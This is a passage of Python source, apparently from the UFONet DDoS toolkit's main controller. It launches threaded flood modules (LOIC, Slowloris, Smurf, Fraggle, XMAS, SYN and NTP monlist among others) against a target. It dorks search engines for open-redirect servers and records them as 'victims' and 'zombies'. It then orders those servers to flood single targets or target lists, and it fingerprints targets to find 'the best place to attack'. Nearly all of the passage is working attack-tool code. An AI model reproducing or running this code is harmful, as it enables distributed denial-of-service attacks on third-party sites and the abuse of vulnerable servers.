  1063. ]
  1064. for _flag, _val, _label, _cls in _v2_http:
  1065. if _val and _attack_target:
  1066. try:
  1067. _rounds = int(_val)
  1068. except Exception:
  1069. _rounds = 101
  1070. if _rounds < 1:
  1071. _rounds = 101
  1072. if not _banner_shown:
  1073. self.banner()
  1074. _banner_shown = True
  1075. if _label == 'GOLDENEYE':
  1076. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds, options.proxy))
  1077. else:
  1078. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1079. _t.daemon = True
  1080. _t.start()
  1081. _v2_threads.append((_flag, _t))
  1082. _mods_fired.append(_flag)
  1083. _legacy_extras = [
  1084. ('loic', options.loic, LOIC, 'http_with_proxy'),
  1085. ('loris', options.loris, LORIS, 'http'),
  1086. ('ufosyn', options.ufosyn, UFOSYN, 'raw_with_port'),
  1087. ('spray', options.spray, SPRAY, 'raw_with_port'),
  1088. ('smurf', options.smurf, SMURF, 'raw_with_port'),
  1089. ('fraggle', options.fraggle, FRAGGLE, 'raw_with_port'),
  1090. ('xmas', options.xmas, XMAS, 'raw_with_port'),
  1091. ('ufoack', options.ufoack, UFOACK, 'raw_with_port'),
  1092. ('uforst', options.uforst, UFORST, 'raw_with_port'),
  1093. ('droper', options.droper, DROPER, 'raw_with_port'),
  1094. ('overlap', options.overlap, OVERLAP, 'raw_with_port'),
  1095. ('pinger', options.pinger, PINGER, 'raw_with_port'),
  1096. ('ufoudp', options.ufoudp, UFOUDP, 'raw_with_port'),
  1097. ('nuke', options.nuke, NUKE, 'raw_simple'),
  1098. ('tachyon', options.tachyon, TACHYON, 'raw_simple'),
  1099. ('monlist', options.monlist, MONLIST, 'raw_simple'),
  1100. ('sniper', options.sniper, SNIPER, 'raw_simple'),
  1101. ]
  1102. _legacy_fired = False
  1103. _legacy_threads = []
  1104. _legacy_labels = []
  1105. for _flag, _val, _cls, _kind in _legacy_extras:
  1106. if not _val or not _attack_target:
  1107. continue
  1108. try:
  1109. _rounds = int(_val)
  1110. except Exception:
  1111. _rounds = 101
  1112. if _rounds < 1:
  1113. _rounds = 101
  1114. if not _legacy_fired:
  1115. if not _banner_shown:
  1116. self.banner()
  1117. _banner_shown = True
  1118. _legacy_fired = True
  1119. if _kind == 'http_with_proxy':
  1120. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds, options.proxy))
  1121. else:
  1122. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1123. _t.daemon = True
  1124. _t.start()
  1125. _legacy_threads.append(_t)
  1126. _legacy_labels.append(_flag)
  1127. setattr(options, _flag, None)
  1128. _all_threads = list(_v2_threads) + [(_legacy_labels[_i], _t) for _i, _t in enumerate(_legacy_threads)]
  1129. _legacy_deadline = time.time() + 30
  1130. for _flag, _t in _all_threads:
  1131. _remaining = max(0.1, _legacy_deadline - time.time())
  1132. _t.join(timeout=_remaining)
  1133. _still_alive = [_flag for _flag, _t in _all_threads if _t.is_alive()]
  1134. _mods_fired = [_f for _f in _mods_fired if _f not in _still_alive]
  1135. if _mod_target:
  1136. print("\n" + '='*55)
  1137. print("[Info] [AI] Mod-only mode summary -> [-m " + str(_mod_target) + "]")
  1138. print('='*55)
  1139. print("[Info] [AI] target : " + str(_mod_target))
  1140. if _mods_fired:
  1141. print("[Info] [AI] fired : " + ", ".join(_mods_fired))
  1142. if _legacy_fired:
  1143. _done = [l for l in _legacy_labels if l not in _still_alive]
  1144. if _done:
  1145. print("[Info] [AI] legacy : " + ", ".join(_done) + " -> [DONE]")
  1146. if _still_alive:
  1147. print("[Info] [AI] running : " + ", ".join(_still_alive) + " -> [persistent connections; cut after summary]")
  1148. if _mods_skipped:
  1149. print("[Info] [AI] skipped : " + ", ".join(_mods_skipped) + " -> [empty botnet file or placeholders only]")
  1150. if not _mods_fired and not _legacy_fired:
  1151. print("[Info] [AI] result : no mod fired -> [check Extra(s) values and botnet/*.txt files]")
  1152. print('='*55 + "\n")
  1153. sys.stdout.flush()
  1154. os._exit(0)
  1155. if _zombie_thread_started:
  1156. _zombie_thread.join(timeout=600)
  1157. if _zombie_thread.is_alive():
  1158. print("[Info] [AI] zombie attack still running (long-tail) -> [exiting after summary]")
  1159. sys.stdout.flush()
  1160. os._exit(0)
  1161. if _legacy_fired and not (options.target or options.search or options.dorks or options.autosearch or options.target_list or options.testall or options.testoffline or options.test or options.attackme):
  1162. return
  1163. # search for [Zombies] on search engines results (dorking)
  1164. if options.search:
  1165. zombies = []
  1166. if options.engine:
  1167. engine = options.engine
  1168. else:
  1169. engine = "duck" # default search engine
  1170. try:
  1171. self.banner()
  1172. if not os.path.exists(self.humans_file) == True:
  1173. f = open(self.humans_file, 'w')
  1174. f.close()
  1175. lf = open(self.humans_file, 'r')
  1176. restored = lf.readlines()
  1177. zombies_restored = len(restored)
  1178. lf.close()
  1179. lz = open(self.zombies_file, 'r')
  1180. zombies_army = lz.readlines()
  1181. for zombie in zombies_army:
  1182. zombies.append(zombie) # add zombies from army to the zombies pool
  1183. lz.close()
  1184. if len(restored) > 0:
  1185. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1186. if not self.options.forceyes:
  1187. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1188. print('-'*25)
  1189. else:
  1190. backup_reply = "Y"
  1191. if backup_reply == "n" or backup_reply == "N":
  1192. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  1193. os.remove(self.humans_file)
  1194. zombies_restored = 0 # flush zombies restored
  1195. print('-'*25 + "\n")
  1196. else:
  1197. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  1198. print('-'*25 + "\n")
  1199. for zombie in restored:
  1200. zombies.append(zombie) # add previous data to zombies pool
  1201. if options.allengines:
  1202. if options.ex_engine: # exclude some search engines manually
  1203. exclude = options.ex_engine.split(",")
  1204. for ex in exclude:
  1205. ex = ex.lower()
  1206. if ex in self.search_engines:
  1207. if len(self.search_engines) == 1: # at least one should make it
  1208. pass
  1209. else:
  1210. self.search_engines.remove(ex)
  1211. for e in self.search_engines:
  1212. engine = e
  1213. print('='*44)
  1214. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  1215. print('='*44 + '\n')
  1216. self.options.engine = engine
  1217. try:
  1218. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  1219. if zombies_chain != None:
  1220. for zombie in zombies_chain:
  1221. if zombie not in zombies: # evade possible repetitions
  1222. zombies.append(zombie)
  1223. except:
  1224. if zombies: # backup all new zombies found to file in case of exception
  1225. for zombie in zombies:
  1226. if zombie+os.linesep not in restored: # only append new zombies found
  1227. with open(self.humans_file, "a") as f:
  1228. f.write(str(zombie+os.linesep))
  1229. else:
  1230. if restored:
  1231. print('='*44)
  1232. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  1233. print('='*44 + '\n')
  1234. if restored: # from restored file
  1235. try:
  1236. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  1237. if zombies_chain != None:
  1238. for zombie in zombies_chain:
  1239. if zombie not in zombies: # evade possible repetitions
  1240. zombies.append(zombie)
  1241. except:
  1242. if zombies: # backup all new zombies found to file in case of exception
  1243. for zombie in zombies:
  1244. if zombie+os.linesep not in restored: # only append new zombies found
  1245. with open(self.humans_file, "a") as f:
  1246. f.write(str(zombie+os.linesep))
  1247. else:
  1248. try:
  1249. zombies = self.search_zombies(dork='', zombies_found=zombies)
  1250. except:
  1251. if zombies: # backup all new zombies found to file in case of exception
  1252. for zombie in zombies:
  1253. if zombie+os.linesep not in restored: # only append new zombies found
  1254. with open(self.humans_file, "a") as f:
  1255. f.write(str(zombie+os.linesep))
  1256. total_restored = zombies_restored
  1257. new_zombies = 0 # new zombies counter
  1258. f = open(self.zombies_file, 'r')
  1259. zz = f.readlines()
  1260. f.close()
  1261. zombies_found = []
  1262. for z in zombies:
  1263. if z.endswith(os.linesep):
  1264. z = z.replace(os.linesep, "")
  1265. if z not in zz and z+os.linesep not in zz:
  1266. new_zombies = new_zombies + 1
  1267. zombies_found.append(z)
  1268. print('='*62)
  1269. print("\n- Victims found:", len(zombies_found), "\n")
  1270. print(" - Restored:", total_restored)
  1271. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  1272. print('-'*32)
  1273. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1274. print('='*62 + '\n')
  1275. if len(zombies) > 0:
  1276. if not self.options.forceyes:
  1277. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1278. print('-'*25)
  1279. else:
  1280. check_backup_reply = "Y"
  1281. if check_backup_reply == "n" or check_backup_reply == "N":
  1282. if os.path.isfile(self.humans_file):
  1283. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1284. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1285. else:
  1286. with open(self.humans_file, "w") as f:
  1287. for z in zombies_found:
  1288. if z.endswith(os.linesep):
  1289. z = z.replace(os.linesep, "")
  1290. if z not in zz or z+os.linesep not in zz:
  1291. f.write(z+os.linesep)
  1292. f.close()
  1293. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1294. print('-'*25 + "\n")
  1295. if new_zombies and new_zombies > 0:
  1296. if not self.options.forceyes:
  1297. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1298. print('-'*25 + "\n")
  1299. else:
  1300. check_url_link_reply = "Y"
  1301. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1302. print("[AI] "+self.exit_msg+"\n")
  1303. pass
  1304. else:
  1305. print("\n" + '='*44)
  1306. test = self.testing(zombies_found)
  1307. else:
  1308. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  1309. except Exception:
  1310. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1311. if DEBUG == True:
  1312. traceback.print_exc()
  1313. # search for [Zombies] from a list of [Dorks]
  1314. if options.dorks:
  1315. if options.engine:
  1316. engine = options.engine
  1317. else:
  1318. engine = "duck" # default search engine
  1319. try:
  1320. dorks = self.extract_dorks()
  1321. if not dorks:
  1322. return
  1323. zombies = []
  1324. self.banner()
  1325. if not os.path.exists(self.humans_file) == True:
  1326. f = open(self.humans_file, 'w')
  1327. f.close()
  1328. lf = open(self.humans_file, 'r')
  1329. restored = lf.readlines()
  1330. zombies_restored = len(restored)
  1331. lf.close()
  1332. lz = open(self.zombies_file, 'r')
  1333. zombies_army = lz.readlines()
  1334. for zombie in zombies_army:
  1335. zombies.append(zombie) # add zombies from army to the zombies pool
  1336. lz.close()
  1337. if len(restored) > 0:
  1338. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1339. if not self.options.forceyes:
  1340. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1341. print('-'*25)
  1342. else:
  1343. backup_reply = "Y"
  1344. if backup_reply == "n" or backup_reply == "N":
  1345. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  1346. os.remove(self.humans_file)
  1347. zombies_restored = 0 # flush zombies restored
  1348. print('-'*25 + "\n")
  1349. else:
  1350. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  1351. print('-'*25 + "\n")
  1352. for zombie in restored:
  1353. zombies.append(zombie) # add previous data to zombies pool
  1354. total_restored = zombies_restored
  1355. if options.allengines:
  1356. if options.ex_engine: # exclude some search engines manually
  1357. exclude = options.ex_engine.split(",")
  1358. for ex in exclude:
  1359. ex = ex.lower()
  1360. if ex in self.search_engines:
  1361. if len(self.search_engines) == 1: # at least one should make it
  1362. pass
  1363. else:
  1364. self.search_engines.remove(ex)
  1365. for e in self.search_engines:
  1366. engine = e
  1367. print('='*44)
  1368. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  1369. print('='*44 + '\n')
  1370. self.options.engine = engine
  1371. for dork in dorks:
  1372. print('='*22)
  1373. print("Dork:", dork)
  1374. print('='*22 + '\n')
  1375. try:
  1376. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  1377. for zombie in dorked_zombies:
  1378. if zombie not in zombies: # evade repetitions for zombies found
  1379. zombies.append(zombie)
  1380. if zombie+os.linesep not in restored: # only append new zombies found
  1381. with open(self.humans_file, "a") as f:
  1382. f.write(str(zombie+os.linesep))
  1383. f.close()
  1384. except:
  1385. if zombies: # backup new zombies found on exception
  1386. for zombie in zombies:
  1387. if zombie+os.linesep not in restored: # only append new zombies found
  1388. with open(self.humans_file, "a") as f:
  1389. f.write(str(zombie+os.linesep))
  1390. f.close()
  1391. else:
  1392. if restored:
  1393. print('='*44)
  1394. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  1395. print('='*44 + '\n')
  1396. for dork in dorks:
  1397. print('='*22)
  1398. print("Dork:", dork)
  1399. print('='*22 + '\n')
  1400. try:
  1401. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  1402. if dorked_zombies != None:
  1403. for zombie in dorked_zombies:
  1404. if zombie not in zombies: # evade repetitions for zombies found
  1405. zombies.append(zombie)
  1406. except:
  1407. if zombies: # backup new zombies found on exception
  1408. for zombie in zombies:
  1409. if zombie+os.linesep not in restored: # only append new zombies found
  1410. with open(self.humans_file, "a") as f:
  1411. f.write(str(zombie+os.linesep))
  1412. f.close()
  1413. new_zombies = 0 # new zombies counter
  1414. f = open(self.zombies_file, 'r')
  1415. zz = f.readlines()
  1416. f.close()
  1417. zombies_found = []
  1418. for z in zombies:
  1419. if z.endswith(os.linesep):
  1420. z = z.replace(os.linesep, "")
  1421. if z not in zz and z+os.linesep not in zz:
  1422. new_zombies = new_zombies + 1
  1423. zombies_found.append(z)
  1424. print('='*62)
  1425. print("\n- Victims found:", len(zombies_found), "\n")
  1426. print(" - Restored:", total_restored)
  1427. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  1428. print('-'*32)
  1429. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1430. print('='*62 + '\n')
  1431. if len(zombies_found) > 0:
  1432. if not self.options.forceyes:
  1433. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1434. print('-'*25)
  1435. else:
  1436. check_backup_reply = "Y"
  1437. if check_backup_reply == "n" or check_backup_reply == "N":
  1438. if os.path.isfile(self.humans_file):
  1439. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1440. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1441. else:
  1442. with open(self.humans_file, "w") as f:
  1443. for z in zombies_found:
  1444. if z.endswith(os.linesep):
  1445. z = z.replace(os.linesep, "")
  1446. if z not in zz or z+os.linesep not in zz:
  1447. f.write(z+os.linesep)
  1448. f.close()
  1449. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1450. print('-'*25 + "\n")
  1451. if new_zombies and new_zombies > 0:
  1452. if not self.options.forceyes:
  1453. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1454. print('-'*25 + "\n")
  1455. else:
  1456. check_url_link_reply = "Y"
  1457. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1458. print("[AI] "+self.exit_msg+"\n")
  1459. pass
  1460. else:
  1461. print("\n" + '='*44)
  1462. test = self.testing(zombies_found)
  1463. else:
  1464. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1465. except Exception:
  1466. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1467. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  1468. if options.autosearch:
  1469. try:
  1470. dorks = self.extract_dorks()
  1471. except:
  1472. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  1473. return
  1474. engines_list = self.search_engines
  1475. stop_flag = False # use a flag to establish an end
  1476. try:
  1477. self.banner()
  1478. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  1479. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  1480. print('-'*25 + "\n")
  1481. zombies_found = []
  1482. lz = open(self.zombies_file, 'r')
  1483. zombies_army = lz.readlines()
  1484. for zombie in zombies_army:
  1485. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  1486. lz.close()
  1487. if not os.path.exists(self.humans_file) == True:
  1488. f = open(self.humans_file, 'w')
  1489. f.close()
  1490. lf = open(self.humans_file, 'r')
  1491. restored = lf.readlines()
  1492. zombies_restored = len(restored)
  1493. lf.close()
  1494. if len(restored) > 0:
  1495. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1496. if not self.options.forceyes:
  1497. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1498. print('-'*25)
  1499. else:
  1500. backup_reply = "Y"
  1501. if backup_reply == "n" or backup_reply == "N":
  1502. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  1503. os.remove(self.humans_file)
  1504. zombies_restored = 0 # flush zombies restored
  1505. print('-'*25 + "\n")
  1506. else:
  1507. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  1508. print('-'*25 + "\n")
  1509. for zombie in restored:
  1510. zombies_found.append(zombie) # add previous data to zombies found pool
  1511. total_restored = zombies_restored
  1512. while stop_flag == False:
  1513. if not os.path.exists(self.humans_file) == True:
  1514. f = open(self.humans_file, 'w')
  1515. f.close()
  1516. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  1517. restored = lf.readlines()
  1518. lf.close()
  1519. zombies_restored = len(restored)
  1520. for e in engines_list:
  1521. zombies_counter = 0 # use it also as (engine) flag
  1522. engine = e
  1523. self.options.engine = engine
  1524. print('='*44 + '\n')
  1525. print(("[AI] Searching for zombies using: "+engine+'\n'))
  1526. print('='*44 + '\n')
  1527. for dork in dorks:
  1528. print('='*22)
  1529. print("Dork:", dork)
  1530. print('='*22 + '\n')
  1531. try:
  1532. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  1533. for zombie in dorked_zombies:
  1534. if zombie not in zombies_found: # evade repetitions for zombies found
  1535. zombies_found.append(zombie)
  1536. if zombie+os.linesep not in restored: # only append new zombies found
  1537. with open(self.humans_file, "a") as f:
  1538. f.write(str(zombie+os.linesep))
  1539. f.close()
  1540. zombies_counter = zombies_counter + 1
  1541. except:
  1542. if zombies_found: # backup new zombies found on exception
  1543. for zombie in zombies_found:
  1544. if zombie+os.linesep not in restored: # only append new zombies found
  1545. with open(self.humans_file, "a") as f:
  1546. f.write(str(zombie+os.linesep))
  1547. f.close()
  1548. if zombies_counter == 0:
  1549. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  1550. print('-'*25 + "\n")
  1551. engines_list.remove(engine) # remove not more results engine from search engines list
  1552. if not engines_list: # if search engines empty, call return-exit routine
  1553. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  1554. print('-'*25 + "\n")
  1555. stop_flag = True # exit flag up
  1556. new_zombies = 0 # new zombies counter
  1557. f = open(self.zombies_file, 'r')
  1558. zz = f.readlines()
  1559. f.close()
  1560. all_zombies_found = []
  1561. for z in zombies_found:
  1562. if z.endswith(os.linesep):
  1563. z = z.replace(os.linesep, "")
  1564. if z not in zz and z+os.linesep not in zz:
  1565. new_zombies = new_zombies + 1
  1566. all_zombies_found.append(z)
  1567. print('='*62)
  1568. print("\n- Victims found:", len(all_zombies_found), "\n")
  1569. print(" - Restored:", total_restored)
  1570. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  1571. print('-'*32)
  1572. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1573. print('='*62 + '\n')
  1574. if len(zombies_found) > 0:
  1575. if not self.options.forceyes:
  1576. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1577. print('-'*25)
  1578. else:
  1579. check_backup_reply = "Y"
  1580. if check_backup_reply == "n" or check_backup_reply == "N":
  1581. if os.path.isfile(self.humans_file):
  1582. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1583. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1584. else:
  1585. with open(self.humans_file, "w") as f:
  1586. for z in all_zombies_found:
  1587. if z.endswith(os.linesep):
  1588. z = z.replace(os.linesep, "")
  1589. if z not in zz or z+os.linesep not in zz:
  1590. f.write(z+os.linesep)
  1591. f.close()
  1592. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1593. print('-'*25 + "\n")
  1594. if new_zombies and new_zombies > 0:
  1595. if not self.options.forceyes:
  1596. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1597. print('-'*25 + "\n")
  1598. else:
  1599. check_url_link_reply = "Y"
  1600. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1601. print("[AI] "+self.exit_msg+"\n")
  1602. pass
  1603. else:
  1604. print("\n" + '='*44)
  1605. test = self.testing(all_zombies_found)
  1606. else:
  1607. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1608. except Exception:
  1609. print ("[Error] [AI] Something wrong (auto)searching...\n")
  1610. # test web 'zombie' servers -> show statistics
  1611. if options.test:
  1612. try:
  1613. self.banner()
  1614. zombies = self.extract_zombies()
  1615. if not zombies:
  1616. return
  1617. test = self.testing(zombies)
  1618. self.update_missions_stats() # update mothership missions stats
  1619. except Exception:
  1620. print ("\n[Error] [AI] Something wrong testing!\n")
  1621. if DEBUG == True:
  1622. traceback.print_exc()
  1623. # test XML-'rpc' pingback vulnerable servers -> update list
  1624. if options.testrpc:
  1625. try:
  1626. self.banner()
  1627. rpcs = self.extract_rpcs()
  1628. if not rpcs:
  1629. return
  1630. testrpc = self.testing_rpcs(rpcs)
  1631. self.update_missions_stats() # update mothership missions stats
  1632. except Exception:
  1633. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1634. if DEBUG == True:
  1635. traceback.print_exc()
  1636. # check botnet searching for zombies offline
  1637. if options.testoffline:
  1638. try:
  1639. self.banner()
  1640. testbotnet = self.testing_offline()
  1641. self.update_missions_stats() # update mothership missions stats
  1642. except Exception:
  1643. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1644. if DEBUG == True:
  1645. traceback.print_exc()
  1646. # check ALL botnet status
  1647. if options.testall:
  1648. try:
  1649. self.banner()
  1650. test_all_botnet = self.testing_all()
  1651. self.update_missions_stats() # update mothership missions stats
  1652. except Exception:
  1653. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1654. if DEBUG == True:
  1655. traceback.print_exc()
  1656. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1657. if options.target:
  1658. try:
  1659. self.banner()
  1660. from core._botnet import is_placeholder as _is_ph
  1661. zombies = self.extract_zombies() or []
  1662. zombies = [z for z in zombies if not _is_ph(z)]
  1663. if not zombies:
  1664. print("\n[Error] [AI] No real zombies in botnet/zombies.txt (file empty or only placeholders).")
  1665. print("[Info] [AI] Populate it first: ./ufonet -s 'page.php?url=' (or --auto-search / --sd botnet/dorks.txt)")
  1666. print("[Info] [AI] -> [Aborting!]\n")
  1667. sys.stdout.flush()
  1668. os._exit(0)
  1669. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1670. attack = self.attacking(zombies, options.target)
  1671. self.update_missions_stats() # update mothership missions stats
  1672. sys.stdout.flush()
  1673. os._exit(0)
  1674. except Exception:
  1675. print ("\n[Error] [AI] Something wrong attacking!\n")
  1676. if DEBUG == True:
  1677. traceback.print_exc()
  1678. sys.stdout.flush()
  1679. os._exit(1)
  1680. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1681. if options.target_list:
  1682. try:
  1683. self.banner()
  1684. zombies = self.extract_zombies()
  1685. if not zombies:
  1686. return
  1687. targets = self.extract_target_list()
  1688. if not targets:
  1689. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1690. return
  1691. self.options.forceyes = True # force-yes ON!
  1692. self.num_target_list = 0
  1693. print("\n[AI] Checking integrity of targets...\n")
  1694. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1695. if not t.startswith("http"): # discarded inmediately
  1696. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1697. targets.remove(t) # ¿remove? invalid targets
  1698. print("")
  1699. c = 0
  1700. for target in targets:
  1701. if target == "":
  1702. c = c + 1
  1703. else:
  1704. self.num_target_list = self.num_target_list + 1
  1705. if c == len(targets):
  1706. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1707. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1708. else:
  1709. for target in targets:
  1710. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1711. target = self.options.target
  1712. print('='*55 + "\n")
  1713. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1714. print("="*55)
  1715. attack = self.attacking(zombies, target)
  1716. self.update_missions_stats() # update mothership missions stats (each target counts)
  1717. except Exception:
  1718. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1719. if DEBUG == True:
  1720. traceback.print_exc()
  1721. # inspect target -> inspect target's components sizes
  1722. if options.inspect:
  1723. try:
  1724. self.banner()
  1725. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1726. print('='*22 + '\n')
  1727. self.instance = Inspector(self) # instance main class for inspection operations
  1728. inspection = self.instance.inspecting(options.inspect)
  1729. self.update_missions_stats() # update mothership missions stats
  1730. except Exception as e:
  1731. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1732. if DEBUG == True:
  1733. traceback.print_exc()
  1734. return #sys.exit(2)
  1735. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1736. if options.abduction:
  1737. try:
  1738. self.banner()
  1739. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1740. print('='*22 + '\n')
  1741. self.instance = Abductor(self) # instance main class for abduction operations
  1742. abduction = self.instance.abducting(options.abduction)
  1743. self.update_missions_stats() # update mothership missions stats
  1744. except Exception as e:
  1745. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1746. if DEBUG == True:
  1747. traceback.print_exc()
  1748. return #sys.exit(2)
  1749. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1750. if options.attackme:
  1751. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1752. try:
  1753. self.banner()
  1754. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1755. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1756. if not self.options.forceyes:
  1757. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1758. else:
  1759. update_reply = "Y"
  1760. if update_reply == "n" or update_reply == "N":
  1761. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1762. return
  1763. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1764. print("\n[Info] Mothership ID: " + self.mothership_id + "\n[Info] RND: " + self.mothership_hash)
  1765. print("\n[AI] Checking NAT/IP configuration:\n")
  1766. nat = self.check_nat()
  1767. f = open("alien", "w") # generate random alien worker
  1768. f.write(str(self.mothership_hash))
  1769. f.close()
  1770. if self.nat_error_flag == "ON":
  1771. return
  1772. zombies = self.extract_zombies()
  1773. if not zombies:
  1774. return
  1775. attackme = self.attackme(zombies)
  1776. self.update_missions_stats() # update mothership missions stats
  1777. except Exception as e:
  1778. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1779. if DEBUG == True:
  1780. traceback.print_exc()
  1781. return #sys.exit(2)
  1782. # check/update for latest stable version
  1783. if options.update:
  1784. self.banner()
  1785. try:
  1786. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1787. Updater()
  1788. except:
  1789. print("Not any .git repository found!\n")
  1790. print("="*30)
  1791. print("\nTo have working this feature, you should clone UFONet with:\n")
  1792. print("$ git clone %s" % self.GIT_REPOSITORY)
  1793. print("\nAlso you can try this other mirror:\n")
  1794. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1795. # launch GUI/Web interface
  1796. if options.web:
  1797. self.create_web_interface()
  1798. return
  1799. # deploy data to share in [/var/www/ufonet]
  1800. if options.deploy:
  1801. self.banner()
  1802. euid = self.checkeuid()
  1803. if euid != 0:
  1804. print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
  1805. try:
  1806. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1807. os.execlpe('sudo', *args)
  1808. except:
  1809. pass
  1810. try:
  1811. print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
  1812. np = r''+self.warping_path+''
  1813. if not os.path.exists(np):
  1814. os.makedirs(np)
  1815. print("[AI] Created folder at: '"+self.warping_path+"'\n")
  1816. else:
  1817. print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [Passing!]\n")
  1818. from pathlib import Path # import pathlib
  1819. import shutil # import shutil
  1820. src = 'data/'
  1821. files=os.listdir(src)
  1822. print("[AI] GUI [Data] has been deployed...\n")
  1823. for fname in files:
  1824. shutil.copy2(os.path.join(src,fname), self.warping_path)
  1825. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1826. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1827. print("")
  1828. src2 = 'botnet/'
  1829. files=os.listdir(src2)
  1830. print("[AI] CORE [Botnet] has been deployed...\n")
